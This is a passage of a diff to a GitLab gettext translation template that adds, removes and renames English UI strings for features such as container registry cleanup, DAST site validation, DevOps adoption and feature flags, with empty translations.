msgid "Are you sure you want to reset registration token?"
msgstr ""
@@ -4252,6 +4390,12 @@ msgstr ""
msgid "Authenticate with GitHub"
msgstr ""
+msgid "Authenticated API request rate limit"
+msgstr ""
+
+msgid "Authenticated web request rate limit"
+msgstr ""
+
msgid "Authenticating"
msgstr ""
@@ -4372,6 +4516,9 @@ msgstr ""
msgid "AutoRemediation|%{mrsCount} ready for review"
msgstr ""
+msgid "AutoRemediation|Auto-fix solution available"
+msgstr ""
+
msgid "AutoRemediation|Auto-fix solutions"
msgstr ""
@@ -4660,12 +4807,18 @@ msgstr ""
msgid "BillingPlan|Upgrade"
msgstr ""
+msgid "Billing|An email address is only visible for users managed through Group Managed Accounts."
+msgstr ""
+
msgid "Billing|An error occurred while loading billable members list"
msgstr ""
msgid "Billing|No users to display."
msgstr ""
+msgid "Billing|Private"
+msgstr ""
+
msgid "Billing|Updated live"
msgstr ""
@@ -4690,6 +4843,15 @@ msgstr ""
msgid "Blocked"
msgstr ""
+msgid "Blocked by %d issue"
+msgid_plural "Blocked by %d issues"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+msgstr[4] ""
+msgstr[5] ""
+
msgid "Blocked issue"
msgstr ""
@@ -4741,6 +4903,9 @@ msgstr ""
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
+msgid "Boards|An error occurred while removing the list. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
@@ -4999,9 +5164,6 @@ msgstr ""
msgid "By %{user_name}"
msgstr ""
-msgid "By URL"
-msgstr ""
-
msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
msgstr ""
@@ -5029,6 +5191,9 @@ msgstr ""
msgid "CI Lint"
msgstr ""
+msgid "CI configuration validated, including all configuration added with the %{codeStart}includes%{codeEnd} keyword. %{link}"
+msgstr ""
+
msgid "CI settings"
msgstr ""
@@ -5125,6 +5290,9 @@ msgstr ""
msgid "Can't apply this suggestion."
msgstr ""
+msgid "Can't be empty"
+msgstr ""
+
msgid "Can't create snippet: %{err}"
msgstr ""
@@ -5152,6 +5320,12 @@ msgstr ""
msgid "Canary Deployments is a popular CI strategy, where a small portion of the fleet is updated to the new version of your application."
msgstr ""
+msgid "Canary Ingress does not exist in the environment."
+msgstr ""
+
+msgid "Canary weight must be specified and valid range (0..100)."
+msgstr ""
+
msgid "Cancel"
msgstr ""
@@ -5185,9 +5359,6 @@ msgstr ""
msgid "Cannot enable shared runners because parent group does not allow it"
msgstr ""
-msgid "Cannot find user key."
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -5329,6 +5500,9 @@ msgstr ""
msgid "Changes affect new repositories only. If not specified, Git's default name %{branch_name_default} will be used."
msgstr ""
+msgid "Changes affect new repositories only. If not specified, either the configured application-wide default or Git's default name %{branch_name_default} will be used."
+msgstr ""
+
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
@@ -5347,9 +5521,6 @@ msgstr ""
msgid "Changes won't take place until the index is %{link_start}recreated%{link_end}."
msgstr ""
-msgid "Changing a Release tag is only supported via Releases API. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -5416,6 +5587,9 @@ msgstr ""
msgid "Check feature availability on namespace plan"
msgstr ""
+msgid "Check out, review, and merge locally"
+msgstr ""
+
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr ""
@@ -5602,12 +5776,6 @@ msgstr ""
msgid "Chinese language support using"
msgstr ""
-msgid "Choose %{strong_open}Create archive%{strong_close} and wait for archiving to complete."
-msgstr ""
-
-msgid "Choose %{strong_open}Next%{strong_close} at the bottom of the page."
-msgstr ""
-
msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr ""
@@ -5641,6 +5809,9 @@ msgstr ""
msgid "Choose labels"
msgstr ""
+msgid "Choose specific groups or storage shards"
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr ""
@@ -5809,7 +5980,7 @@ msgstr ""
msgid "ClassificationLabelUnavailable|is unavailable: %{reason}"
msgstr ""
-msgid "Cleanup policy for tags"
+msgid "Clean up image tags"
msgstr ""
msgid "Cleanup policy maximum processing time (seconds)"
@@ -5851,10 +6022,10 @@ msgstr ""
msgid "Clears weight."
msgstr ""
-msgid "Click the %{strong_open}Download%{strong_close} button and wait for downloading to complete."
+msgid "Click %{link_start}here%{link_end} to view the request."
msgstr ""
-msgid "Click the %{strong_open}Select none%{strong_close} button on the right, since we only need \"Google Code Project Hosting\"."
+msgid "Click %{link_to} to view the request."
msgstr ""
msgid "Click the button below to begin the install process by navigating to the Kubernetes page"
@@ -5902,7 +6073,7 @@ msgstr ""
msgid "Close"
msgstr ""
-msgid "Close %{display_issuable_type}"
+msgid "Close %{issueType}"
msgstr ""
msgid "Close %{tabname}"
@@ -5911,9 +6082,6 @@ msgstr ""
msgid "Close epic"
msgstr ""
-msgid "Close issue"
-msgstr ""
-
msgid "Close milestone"
msgstr ""
@@ -6004,6 +6172,9 @@ msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr ""
+msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
+msgstr ""
+
msgid "ClusterIntegration|%{externalIp}.nip.io"
msgstr ""
@@ -6112,6 +6283,9 @@ msgstr ""
msgid "ClusterIntegration|CA Certificate"
msgstr ""
+msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
+msgstr ""
+
msgid "ClusterIntegration|Cert-Manager"
msgstr ""
@@ -6370,9 +6544,6 @@ msgstr ""
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm Tiller"
-msgstr ""
-
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
@@ -6475,6 +6646,9 @@ msgstr ""
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr ""
+msgid "ClusterIntegration|Legacy Helm Tiller server"
+msgstr ""
+
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -6808,7 +6982,7 @@ msgstr ""
msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
msgstr ""
-msgid "ClusterIntegration|The associated Tiller pod, the %{gitlabManagedAppsNamespace} namespace, and all of its resources will be deleted and cannot be restored."
+msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
msgstr ""
msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
@@ -7153,6 +7327,9 @@ msgstr ""
msgid "Commit Message"
msgstr ""
+msgid "Commit changes"
+msgstr ""
+
msgid "Commit deleted"
msgstr ""
@@ -7276,9 +7453,6 @@ msgstr ""
msgid "Compliance framework (optional)"
msgstr ""
-msgid "Compliance frameworks"
-msgstr ""
-
msgid "ComplianceDashboard|created by:"
msgstr ""
@@ -7450,6 +7624,9 @@ msgstr ""
msgid "Consistency guarantee method"
msgstr ""
+msgid "Contact Sales to upgrade"
+msgstr ""
+
msgid "Contact sales to upgrade"
msgstr ""
@@ -7474,7 +7651,7 @@ msgstr ""
msgid "Container repositories"
msgstr ""
-msgid "Container repositories sync capacity"
+msgid "Container repositories synchronization concurrency limit"
msgstr ""
msgid "Container repository"
@@ -7510,6 +7687,9 @@ msgstr ""
msgid "ContainerRegistry|%{toggleStatus} - Tags matching the patterns defined below will be scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|%{toggleStatus} - Tags that match the rules on this page are automatically scheduled for deletion."
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -7585,6 +7765,15 @@ msgstr ""
msgid "ContainerRegistry|Invalid tag: missing manifest digest"
msgstr ""
+msgid "ContainerRegistry|Keep tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep the most recent:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep these tags"
+msgstr ""
+
msgid "ContainerRegistry|Login"
msgstr ""
@@ -7594,6 +7783,15 @@ msgstr ""
msgid "ContainerRegistry|Missing or insufficient permission, delete button disabled"
msgstr ""
+msgid "ContainerRegistry|Next cleanup scheduled to run on:"
+msgstr ""
+
+msgid "ContainerRegistry|Not yet scheduled"
+msgstr ""
+
+msgid "ContainerRegistry|Note: Any policy update will result in a change to the scheduled run date and time"
+msgstr ""
+
msgid "ContainerRegistry|Number of tags to retain:"
msgstr ""
@@ -7621,7 +7819,16 @@ msgstr[3] ""
msgstr[4] ""
msgstr[5] ""
-msgid "ContainerRegistry|Set cleanup policy"
+msgid "ContainerRegistry|Remove tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove tags older than:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove these tags"
+msgstr ""
+
+msgid "ContainerRegistry|Run cleanup:"
msgstr ""
msgid "ContainerRegistry|Some tags were not deleted"
@@ -7630,6 +7837,9 @@ msgstr ""
msgid "ContainerRegistry|Something went wrong while fetching the cleanup policy."
msgstr ""
+msgid "ContainerRegistry|Something went wrong while fetching the image details."
+msgstr ""
+
msgid "ContainerRegistry|Something went wrong while fetching the repository list."
msgstr ""
@@ -7651,21 +7861,30 @@ msgstr ""
msgid "ContainerRegistry|Sorry, your filter produced no results."
msgstr ""
-msgid "ContainerRegistry|Tag expiration policy"
-msgstr ""
-
msgid "ContainerRegistry|Tag successfully marked for deletion."
msgstr ""
msgid "ContainerRegistry|Tags successfully marked for deletion."
msgstr ""
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}kept%{strongEnd}, even if they match a removal rule below. The %{secondStrongStart}latest%{secondStrongEnd} tag is always kept."
+msgstr ""
+
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}removed%{strongEnd}, unless a rule above says to keep them."
+msgstr ""
+
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}be preserved:%{italicEnd}"
msgstr ""
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}expire:%{italicEnd}"
msgstr ""
+msgid "ContainerRegistry|Tags with names that match this regex pattern are kept. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "ContainerRegistry|Tags with names that match this regex pattern are removed. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|The cleanup policy timed out before it could delete all tags. An administrator can %{adminLinkStart}manually run cleanup now%{adminLinkEnd} or you can wait for the cleanup policy to automatically run again. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
@@ -8458,9 +8677,6 @@ msgstr ""
msgid "Customize how FogBugz email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
msgstr ""
-msgid "Customize how Google Code email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
-msgstr ""
-
msgid "Customize icon"
msgstr ""
@@ -8521,6 +8737,9 @@ msgstr ""
msgid "CycleAnalyticsEvent|Merge request created"
msgstr ""
+msgid "CycleAnalyticsEvent|Merge request first commit time"
+msgstr ""
+
msgid "CycleAnalyticsEvent|Merge request first deployed to production"
msgstr ""
@@ -8650,9 +8869,6 @@ msgstr ""
msgid "CycleAnalytics|stage dropdown"
msgstr ""
-msgid "DAG"
-msgstr ""
-
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -8701,7 +8917,10 @@ msgstr ""
msgid "DastProfiles|Are you sure you want to delete this profile?"
msgstr ""
-msgid "DastProfiles|Could not create site validation token. Please refresh the page, or try again later."
+msgid "DastProfiles|Authentication"
+msgstr ""
+
+msgid "DastProfiles|Authentication URL"
msgstr ""
msgid "DastProfiles|Could not create the scanner profile. Please try again."
@@ -8728,9 +8947,6 @@ msgstr ""
msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
msgstr ""
-msgid "DastProfiles|Could not retrieve site validation status. Please refresh the page, or try again later."
-msgstr ""
-
msgid "DastProfiles|Could not update the scanner profile. Please try again."
msgstr ""
@@ -8752,15 +8968,15 @@ msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
-msgid "DastProfiles|Download validation text file"
-msgstr ""
-
msgid "DastProfiles|Edit scanner profile"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
+msgid "DastProfiles|Enable Authentication"
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -8794,9 +9010,18 @@ msgstr ""
msgid "DastProfiles|No profiles created yet"
msgstr ""
+msgid "DastProfiles|Not Validated"
+msgstr ""
+
msgid "DastProfiles|Passive"
msgstr ""
+msgid "DastProfiles|Password"
+msgstr ""
+
+msgid "DastProfiles|Password form field"
+msgstr ""
+
msgid "DastProfiles|Please enter a valid timeout value"
msgstr ""
@@ -8830,64 +9055,85 @@ msgstr ""
msgid "DastProfiles|Site Profiles"
msgstr ""
-msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgid "DastProfiles|Spider timeout"
msgstr ""
-msgid "DastProfiles|Site must be validated to run an active scan."
+msgid "DastProfiles|Target URL"
msgstr ""
-msgid "DastProfiles|Spider timeout"
+msgid "DastProfiles|Target timeout"
msgstr ""
-msgid "DastProfiles|Step 1 - Choose site validation method"
+msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
msgstr ""
-msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
-msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
-msgid "DastProfiles|Target URL"
+msgid "DastProfiles|Username"
msgstr ""
-msgid "DastProfiles|Target timeout"
+msgid "DastProfiles|Username form field"
msgstr ""
-msgid "DastProfiles|Text file validation"
+msgid "DastProfiles|Validated"
msgstr ""
-msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
+msgid "DastSiteValidation|Copy HTTP header to clipboard"
msgstr ""
-msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgid "DastSiteValidation|Could not create validation token. Please try again."
msgstr ""
-msgid "DastProfiles|Turn on AJAX spider"
+msgid "DastSiteValidation|Download validation text file"
+msgstr ""
+
+msgid "DastSiteValidation|Header validation"
+msgstr ""
+
+msgid "DastSiteValidation|Step 1 - Choose site validation method"
+msgstr ""
+
+msgid "DastSiteValidation|Step 2 - Add following HTTP header to your site"
+msgstr ""
+
+msgid "DastSiteValidation|Step 2 - Add following text to the target site"
+msgstr ""
+
+msgid "DastSiteValidation|Step 3 - Confirm header location and validate"
+msgstr ""
+
+msgid "DastSiteValidation|Step 3 - Confirm text file location and validate"
msgstr ""
-msgid "DastProfiles|Validate"
+msgid "DastSiteValidation|Text file validation"
msgstr ""
-msgid "DastProfiles|Validate target site"
+msgid "DastSiteValidation|The validation has failed. Please try again."
msgstr ""
-msgid "DastProfiles|Validating..."
+msgid "DastSiteValidation|The validation is in progress. Please wait..."
msgstr ""
-msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgid "DastSiteValidation|Validate"
msgstr ""
-msgid "DastProfiles|Validation failed. Please try again."
+msgid "DastSiteValidation|Validate target site"
msgstr ""
-msgid "DastProfiles|Validation is in progress..."
+msgid "DastSiteValidation|Validated"
msgstr ""
-msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgid "DastSiteValidation|Validating..."
msgstr ""
-msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgid "DastSiteValidation|Validation failed"
+msgstr ""
+
+msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
msgid "Data is still calculating..."
@@ -9001,9 +9247,6 @@ msgstr ""
msgid "Default stages"
msgstr ""
-msgid "Default: Directly import the Google Code email address or username"
-msgstr ""
-
msgid "Default: Map a FogBugz account ID to a full name"
msgstr ""
@@ -9028,7 +9271,7 @@ msgstr ""
msgid "Delayed Project Deletion (%{adjourned_deletion})"
msgstr ""
-msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after it's timer finishes."
+msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after its timer finishes."
msgstr ""
msgid "DelayedJobs|Are you sure you want to run %{job_name} immediately? This job will run automatically after it's timer finishes."
@@ -9112,9 +9355,6 @@ msgstr ""
msgid "Delete variable"
msgstr ""
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -9544,6 +9784,9 @@ msgstr ""
msgid "Deployment|running"
msgstr ""
+msgid "Deployment|skipped"
+msgstr ""
+
msgid "Deployment|success"
msgstr ""
@@ -9562,6 +9805,9 @@ msgstr ""
msgid "Description"
msgstr ""
+msgid "Description (optional)"
+msgstr ""
+
msgid "Description parsed with %{link_start}GitLab Flavored Markdown%{link_end}"
msgstr ""
@@ -9598,6 +9844,9 @@ msgstr ""
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr ""
+msgid "DesignManagement|Archive design"
+msgstr ""
+
msgid "DesignManagement|Archive designs"
msgstr ""
@@ -9655,6 +9904,9 @@ msgstr ""
msgid "DesignManagement|Discard comment"
msgstr ""
+msgid "DesignManagement|Download design"
+msgstr ""
+
msgid "DesignManagement|Error uploading a new design. Please try again."
msgstr ""
@@ -9733,15 +9985,9 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps"
-msgstr ""
-
msgid "DevOps Report"
msgstr ""
-msgid "DevOps Score"
-msgstr ""
-
msgid "DevopsAdoptionSegmentSelection|The maximum number of selections has been reached"
msgstr ""
@@ -9751,15 +9997,84 @@ msgstr ""
msgid "DevopsAdoptionSegment|The maximum number of segments has been reached"
msgstr ""
+msgid "DevopsAdoptionSegment|The maximum number of selections has been reached"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} group selected (20 max)"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} groups selected (20 max)"
+msgstr ""
+
msgid "DevopsAdoption|Add a segment to get started"
msgstr ""
msgid "DevopsAdoption|Add new segment"
msgstr ""
+msgid "DevopsAdoption|An error occured while saving the segment. Please try again."
+msgstr ""
+
+msgid "DevopsAdoption|Approvals"
+msgstr ""
+
+msgid "DevopsAdoption|Create new segment"
+msgstr ""
+
+msgid "DevopsAdoption|Deploys"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption uses segments to track adoption across key features. Segments are a way to track multiple related projects and groups at once. For example, you could create a segment for the engineering department or a particular product team."
msgstr ""
+msgid "DevopsAdoption|Feature adoption is based on usage over the last 30 days. Last updated: %{timestamp}."
+msgstr ""
+
+msgid "DevopsAdoption|Issues"
+msgstr ""
+
+msgid "DevopsAdoption|MRs"
+msgstr ""
+
+msgid "DevopsAdoption|My segment"
+msgstr ""
+
+msgid "DevopsAdoption|Name"
+msgstr ""
+
+msgid "DevopsAdoption|New segment"
+msgstr ""
+
+msgid "DevopsAdoption|Pipelines"
+msgstr ""
+
+msgid "DevopsAdoption|Runners"
+msgstr ""
+
+msgid "DevopsAdoption|Scanning"
+msgstr ""
+
+msgid "DevopsAdoption|Segment"
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Segments. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsReport|Adoption"
+msgstr ""
+
+msgid "DevopsReport|DevOps"
+msgstr ""
+
+msgid "DevopsReport|DevOps Score"
+msgstr ""
+
+msgid "DevopsReport|Score"
+msgstr ""
+
msgid "Diff content limits"
msgstr ""
@@ -9952,9 +10267,6 @@ msgstr ""
msgid "Do not display offers from third parties within GitLab"
msgstr ""
-msgid "Do you want to customize how Google Code email addresses and usernames are imported into GitLab?"
-msgstr ""
-
msgid "Dockerfile"
msgstr ""
@@ -10027,9 +10339,6 @@ msgstr ""
msgid "Download as"
msgstr ""
-msgid "Download as CSV"
-msgstr ""
-
msgid "Download codes"
msgstr ""
@@ -10078,9 +10387,15 @@ msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
msgstr ""
+msgid "Drop or %{linkStart}upload%{linkEnd} files to attach"
+msgstr ""
+
msgid "Drop your designs to start your upload."
msgstr ""
+msgid "Drop your files to start your upload."
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -10186,6 +10501,9 @@ msgstr ""
msgid "Edit in single-file editor"
msgstr ""
+msgid "Edit inline"
+msgstr ""
+
msgid "Edit issues"
msgstr ""
@@ -10261,6 +10579,9 @@ msgstr ""
msgid "Email Notification"
msgstr ""
+msgid "Email cannot be blank"
+msgstr ""
+
msgid "Email could not be sent"
msgstr ""
@@ -10291,6 +10612,9 @@ msgstr ""
msgid "Email updates (optional)"
msgstr ""
+msgid "Email: %{email}"
+msgstr ""
+
msgid "EmailError|It appears that the email is blank. Make sure your reply is at the top of the email, we can't process inline replies."
msgstr ""
@@ -10363,7 +10687,7 @@ msgstr ""
msgid "Enable"
msgstr ""
-msgid "Enable %{link_start}Gitpod%{link_end} integration to launch a development environment in your browser directly from GitLab."
+msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
msgstr ""
msgid "Enable Auto DevOps"
@@ -10381,6 +10705,9 @@ msgstr ""
msgid "Enable Incident Management inbound alert limit"
msgstr ""
+msgid "Enable Kroki"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -10732,6 +11059,9 @@ msgstr ""
msgid "Environments|Delete"
msgstr ""
+msgid "Environments|Delete '%{environmentName}'?"
+msgstr ""
+
msgid "Environments|Delete environment"
msgstr ""
@@ -10843,6 +11173,9 @@ msgstr ""
msgid "Environments|Stopping"
msgstr ""
+msgid "Environments|Stopping %{environmentName}"
+msgstr ""
+
msgid "Environments|There was an error fetching the logs. Please try again."
msgstr ""
@@ -11080,9 +11413,6 @@ msgstr ""
msgid "Error loading viewer"
msgstr ""
-msgid "Error message:"
-msgstr ""
-
msgid "Error occurred when fetching sidebar data"
msgstr ""
@@ -11119,6 +11449,9 @@ msgstr ""
msgid "Error occurred. User was not unlocked"
msgstr ""
+msgid "Error parsing CSV file. Please make sure it has"
+msgstr ""
+
msgid "Error rendering markdown preview"
msgstr ""
@@ -11197,6 +11530,9 @@ msgstr ""
msgid "Errors"
msgstr ""
+msgid "Errors found on line %{line_number}: %{error_lines}. Please check if these lines have a requirement title."
+msgstr ""
+
msgid "Errors:"
msgstr ""
@@ -11431,6 +11767,9 @@ msgstr ""
msgid "Export as CSV"
msgstr ""
+msgid "Export commit custody report"
+msgstr ""
+
msgid "Export group"
msgstr ""
@@ -11539,6 +11878,9 @@ msgstr ""
msgid "Failed to create a branch for this issue. Please try again."
msgstr ""
+msgid "Failed to create framework"
+msgstr ""
+
msgid "Failed to create import label for jira import."
msgstr ""
@@ -11674,6 +12016,9 @@ msgstr ""
msgid "Failed to reset key. Please try again."
msgstr ""
+msgid "Failed to retrieve page"
+msgstr ""
+
msgid "Failed to save merge conflicts resolutions. Please try again!"
msgstr ""
@@ -11713,6 +12058,9 @@ msgstr ""
msgid "Failed to update tag!"
msgstr ""
+msgid "Failed to update the Canary Ingress."
+msgstr ""
+
msgid "Failed to update."
msgstr ""
@@ -11752,12 +12100,18 @@ msgstr ""
msgid "Feature Flags"
msgstr ""
+msgid "Feature flag is not enabled on the environment's project."
+msgstr ""
+
msgid "Feature flag was not removed."
msgstr ""
msgid "Feature flag was successfully removed."
msgstr ""
+msgid "Feature not available"
+msgstr ""
+
msgid "FeatureFlags|%d user"
msgid_plural "FeatureFlags|%d users"
msgstr[0] ""
@@ -11929,6 +12283,9 @@ msgstr ""
msgid "FeatureFlags|New user list"
msgstr ""
+msgid "FeatureFlags|No user list selected"
+msgstr ""
+
msgid "FeatureFlags|Percent of users"
msgstr ""
@@ -11953,9 +12310,6 @@ msgstr ""
msgid "FeatureFlags|Rollout Strategy"
msgstr ""
-msgid "FeatureFlags|Select a user list"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -12016,6 +12370,9 @@ msgstr ""
msgid "February"
msgstr ""
+msgid "Fetch and check out the branch for this merge request"
+msgstr ""
+
msgid "Fetching incoming email"
msgstr ""
@@ -12058,7 +12415,7 @@ msgstr ""
msgid "File renamed with no changes."
msgstr ""
-msgid "File sync capacity"
+msgid "File synchronization concurrency limit"
msgstr ""
msgid "File templates"
@@ -12184,12 +12541,6 @@ msgstr ""
msgid "Find file"
msgstr ""
-msgid "Find the downloaded ZIP file and decompress it."
-msgstr ""
-
-msgid "Find the newly extracted %{code_open}Takeout/Google Code Project Hosting/GoogleCodeProjectHosting.json%{code_close} file."
-msgstr ""
-
msgid "Fingerprint"
msgstr ""
@@ -12214,9 +12565,6 @@ msgstr ""
msgid "First name"
msgstr ""
-msgid "First name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "First seen"
msgstr ""
@@ -12262,9 +12610,6 @@ msgstr ""
msgid "Folder/%{name}"
msgstr ""
-msgid "Follow the steps below to export your Google Code project data."
-msgstr ""
-
msgid "Font Color"
msgstr ""
@@ -12349,6 +12694,9 @@ msgstr ""
msgid "Found errors in your .gitlab-ci.yml:"
msgstr ""
+msgid "Framework successfully deleted"
+msgstr ""
+
msgid "Free Trial"
msgstr ""
@@ -12376,9 +12724,6 @@ msgstr ""
msgid "From %{providerTitle}"
msgstr ""
-msgid "From Google Code"
-msgstr ""
-
msgid "From issue creation until deploy to production"
msgstr ""
@@ -12865,6 +13210,9 @@ msgstr ""
msgid "GitLab API"
msgstr ""
+msgid "GitLab Account Request"
+msgstr ""
+
msgid "GitLab Billing Team."
msgstr ""
@@ -12898,6 +13246,9 @@ msgstr ""
msgid "GitLab Workhorse"
msgstr ""
+msgid "GitLab account request rejected"
+msgstr ""
+
msgid "GitLab commit"
msgstr ""
@@ -13108,15 +13459,12 @@ msgstr ""
msgid "Go back (while searching for files)"
msgstr ""
-msgid "Go back to %{startTag}Open issues%{endTag} and select some issues to add to your board."
+msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
msgstr ""
msgid "Go full screen"
msgstr ""
-msgid "Go to %{link_to_google_takeout}."
-msgstr ""
-
msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
msgstr ""
@@ -13231,12 +13579,6 @@ msgstr ""
msgid "Google Cloud Platform"
msgstr ""
-msgid "Google Code import"
-msgstr ""
-
-msgid "Google Takeout"
-msgstr ""
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -13471,6 +13813,12 @@ msgstr ""
msgid "GroupRoadmap|No start date – %{dateWord}"
msgstr ""
+msgid "GroupRoadmap|Roadmaps can display up to 1,000 epics. These appear in your selected sort order."
+msgstr ""
+
+msgid "GroupRoadmap|Some of your epics might not be visible"
+msgstr ""
+
msgid "GroupRoadmap|Something went wrong while fetching epics"
msgstr ""
@@ -13864,12 +14212,6 @@ msgstr ""
msgid "GroupsTree|Are you sure you want to leave the \"%{fullName}\" group?"
msgstr ""
-msgid "GroupsTree|Create a project in this group."
-msgstr ""
-
-msgid "GroupsTree|Create a subgroup in this group."
-msgstr ""
-
msgid "GroupsTree|Edit group"
msgstr ""
@@ -13945,6 +14287,9 @@ msgstr ""
msgid "HealthCheck|Unhealthy"
msgstr ""
+msgid "Hello %{name},"
+msgstr ""
+
msgid "Hello there"
msgstr ""
@@ -14104,9 +14449,6 @@ msgstr ""
msgid "How many users will be evaluating the trial?"
msgstr ""
-msgid "How to upgrade"
-msgstr ""
-
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr ""
@@ -14248,6 +14590,9 @@ msgstr ""
msgid "If using GitHub, you’ll see pipeline statuses on GitHub for your commits and pull requests. %{more_info_link}"
msgstr ""
+msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
+msgstr ""
+
msgid "If you did not recently sign in, you should immediately %{password_link_start}change your password%{password_link_end}."
msgstr ""
@@ -14332,12 +14677,6 @@ msgstr ""
msgid "Import Projects from Gitea"
msgstr ""
-msgid "Import all compatible projects"
-msgstr ""
-
-msgid "Import all projects"
-msgstr ""
-
msgid "Import an exported GitLab project"
msgstr ""
@@ -14389,9 +14728,6 @@ msgstr ""
msgid "Import projects from GitLab.com"
msgstr ""
-msgid "Import projects from Google Code"
-msgstr ""
-
msgid "Import repositories from Bitbucket Server"
msgstr ""
@@ -14422,6 +14758,9 @@ msgstr ""
msgid "ImportButtons|Connect repositories from"
msgstr ""
+msgid "ImportProjects|%{provider} rate limit exceeded. Try again later"
+msgstr ""
+
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
@@ -14455,6 +14794,9 @@ msgstr ""
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Imported requirements"
+msgstr ""
+
msgid "Improve Issue Boards"
msgstr ""
@@ -14485,9 +14827,6 @@ msgstr ""
msgid "In progress"
msgstr ""
-msgid "In the next step, you'll be able to select the projects you want to import."
-msgstr ""
-
msgid "Incident"
msgstr ""
